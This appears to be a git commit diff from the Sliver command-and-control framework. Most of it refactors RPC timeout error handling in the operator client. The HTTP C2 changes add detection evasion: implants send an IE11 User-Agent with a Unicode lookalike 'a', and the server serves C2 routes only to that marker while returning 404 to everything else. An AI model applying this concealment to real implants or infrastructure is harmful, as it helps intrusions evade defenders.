added user-agent check, and rpc timeouts now return a non-nil envelope with an error

This commit is contained in:
moloch
2019-03-12 15:07:58 -07:00
parent f4c137e087
commit fc0a09cbb4
7 changed files with 38 additions and 59 deletions
-8
View File
@@ -225,10 +225,6 @@ func cat(ctx *grumble.Context, rpc RPCServer) {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
}
download := &sliverpb.Download{}
proto.Unmarshal(resp.Data, download)
@@ -353,10 +349,6 @@ func upload(ctx *grumble.Context, rpc RPCServer) {
return
}
if err != nil {
fmt.Printf(Warn+"Unmarshaling envelope error: %v\n", err)
return
}
upload := &sliverpb.Upload{}
err = proto.Unmarshal(resp.Data, upload)
if err != nil {
+3 -18
View File
@@ -19,10 +19,11 @@ func jobs(ctx *grumble.Context, rpc RPCServer) {
Type: clientpb.MsgJobs,
Data: []byte{},
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "Command timeout\n")
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s\n", resp.Err)
return
}
jobs := &clientpb.Jobs{}
proto.Unmarshal(resp.Data, jobs)
@@ -72,10 +73,6 @@ func startMTLSListener(ctx *grumble.Context, rpc RPCServer) {
Type: clientpb.MsgMtls,
Data: data,
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "Command timeout\n")
return
}
if resp.Err != "" {
fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
return
@@ -102,10 +99,6 @@ func startDNSListener(ctx *grumble.Context, rpc RPCServer) {
Type: clientpb.MsgDns,
Data: data,
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "Command timeout\n")
return
}
if resp.Err != "" {
fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
return
@@ -130,10 +123,6 @@ func startHTTPSListener(ctx *grumble.Context, rpc RPCServer) {
Type: clientpb.MsgHttps,
Data: data,
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "Command timeout\n")
return
}
if resp.Err != "" {
fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
return
@@ -157,10 +146,6 @@ func startHTTPListener(ctx *grumble.Context, rpc RPCServer) {
Type: clientpb.MsgHttp,
Data: data,
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "Command timeout\n")
return
}
if resp.Err != "" {
fmt.Printf(Warn+"Failed to start job %s\n", resp.Err)
return
-4
View File
@@ -42,10 +42,6 @@ func shell(ctx *grumble.Context, server *core.SliverServer) {
Type: sliverpb.MsgShellReq,
Data: shellReqData,
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "Error: Server did not respond to request")
return
}
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s", resp.Err)
return
+2 -18
View File
@@ -32,8 +32,8 @@ func sessions(ctx *grumble.Context, rpc RPCServer) {
Type: clientpb.MsgSessions,
Data: []byte{},
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "Command timeout\n")
if resp.Err != "" {
fmt.Printf(Warn+"Error: %s\n", resp.Err)
return
}
sessions := &clientpb.Sessions{}
@@ -142,10 +142,6 @@ func kill(ctx *grumble.Context, rpc RPCServer) {
Type: sliverpb.MsgKill,
Data: data,
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "No response from server\n")
return
}
if resp.Err != "" {
fmt.Printf(Warn+"%s\n", resp.Err)
@@ -283,10 +279,6 @@ func compile(config *clientpb.SliverConfig, save string, rpc RPCServer) {
Data: generateReq,
}, 1200*time.Second) // TODO: make timeout a parameter
ctrl <- true
if resp == nil {
fmt.Printf(Warn + "No response from server\n")
return
}
if resp.Err != "" {
fmt.Printf(Warn+"%s\n", resp.Err)
return
@@ -430,10 +422,6 @@ func newProfile(ctx *grumble.Context, rpc RPCServer) {
Type: clientpb.MsgNewProfile,
Data: data,
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "No response from server\n")
return
}
if resp.Err != "" {
fmt.Printf(Warn+"%s\n", resp.Err)
} else {
@@ -445,10 +433,6 @@ func getSliverProfiles(rpc RPCServer) *map[string]*clientpb.Profile {
resp := <-rpc(&sliverpb.Envelope{
Type: clientpb.MsgProfiles,
}, defaultTimeout)
if resp == nil {
fmt.Printf(Warn + "No response from server\n")
return nil
}
if resp.Err != "" {
fmt.Printf(Warn+"%s\n", resp.Err)
return nil
+1 -1
View File
@@ -176,7 +176,7 @@ func (ss *SliverServer) RPC(envelope *sliverpb.Envelope, timeout time.Duration)
case respEnvelope := <-resp:
respCh <- respEnvelope
case <-time.After(timeout):
respCh <- nil
respCh <- &sliverpb.Envelope{Err: "Timeout"}
}
}()
return respCh
+22 -6
View File
@@ -163,11 +163,14 @@ func (s *SliverHTTPC2) router() *mux.Router {
// .js = poll
// .png = stop
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).Methods("GET")
router.HandleFunc("/{rpath:.*\\.css$}", s.startSessionHandler).Methods("GET", "POST")
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).Methods("GET", "POST")
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).Methods("GET")
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).Methods("GET")
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.css$}", s.startSessionHandler).MatcherFunc(filterAgent).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterAgent).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterAgent).Methods(http.MethodGet)
// Request does not match the C2 profile so we pass it to the default handler
router.HandleFunc("{rpath:.*}", defaultHandler).Methods(http.MethodGet, http.MethodPost)
router.Use(loggingMiddleware)
router.Use(defaultRespHeaders)
@@ -175,6 +178,15 @@ func (s *SliverHTTPC2) router() *mux.Router {
return router
}
// This filters requests that do not have the correct "User-agent" header
func filterAgent(req *http.Request, rm *mux.RouteMatch) bool {
userAgent := req.Header["User-Agent"]
if 0 < len(userAgent) && strings.HasPrefix(userAgent[0], "Mozillа") {
return true
}
return false
}
func loggingMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(resp http.ResponseWriter, req *http.Request) {
log.Printf("[http] %v", req.RequestURI)
@@ -207,6 +219,10 @@ func defaultRespHeaders(next http.Handler) http.Handler {
})
}
func defaultHandler(resp http.ResponseWriter, req *http.Request) {
resp.WriteHeader(404)
}
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
@@ -361,7 +377,7 @@ func (s *SliverHTTPC2) stopHandler(resp http.ResponseWriter, req *http.Request)
func (s *SliverHTTPC2) getSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
log.Printf("[http] Cookie: %#v", cookie)
// log.Printf("[http] Cookie: %#v", cookie)
if cookie.Name == sessionCookieName {
session := s.Sessions.Get(cookie.Value)
if session != nil {
+10 -4
View File
@@ -40,6 +40,8 @@ import (
)
const (
// IE 11 User-agent with a unicode 'a'
defaultUserAgent = "Mozillа/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
defaultNetTimeout = time.Second * 60
defaultReqTimeout = time.Second * 60 // Long polling, we want a large timeout
)
@@ -100,7 +102,8 @@ func (s *SliverHTTPClient) SessionInit() error {
func (s *SliverHTTPClient) newHTTPRequest(method, uri string, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri, body)
req.Header.Set("User-Agent", "")
req.Header.Set("User-Agent", defaultUserAgent)
req.Header.Set("Accept-Language", "en-US")
return req
}
@@ -111,17 +114,20 @@ func (s *SliverHTTPClient) getPublicKey() *rsa.PublicKey {
// {{end}}
req := s.newHTTPRequest(http.MethodGet, uri, nil)
resp, err := s.Client.Do(req)
if err != nil || resp.StatusCode != 200 {
if err != nil {
// {{if .Debug}}
log.Printf("Failed to fetch server public key")
log.Printf("[http] Failed to fetch server public key: %v", err)
// {{end}}
return nil
}
// {{if .Debug}}
log.Printf("[http] <- %d Server key response", resp.StatusCode)
// {{end}}
data, _ := ioutil.ReadAll(resp.Body)
pubKeyBlock, _ := pem.Decode(data)
if pubKeyBlock == nil {
// {{if .Debug}}
log.Printf("Failed to parse certificate PEM")
log.Printf("[http] Failed to parse certificate PEM")
// {{end}}
return nil
}